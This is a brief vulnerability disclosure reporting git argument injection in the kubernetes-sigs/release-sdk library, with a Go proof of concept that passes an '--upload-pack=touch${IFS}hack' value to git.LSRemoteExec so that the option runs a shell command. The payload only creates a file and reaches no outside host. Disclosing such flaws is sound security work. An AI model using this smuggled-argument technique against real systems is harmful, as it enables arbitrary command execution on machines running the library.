Git Arg Injection in kubernetes-sigs/release-sdk

Technical Details: It's possible to get a command injection via argument injection.

package main

import (
	"fmt"
	"github.com/kubernetes-sigs/release-sdk/git"
)

func main() {
	fmt.Println("hello world")

	var result,err = git.LSRemoteExec("--upload-pack=touch${IFS}hack","master")
	if err != nil {
		fmt.Println(err)
	}

fmt.Println(result)

}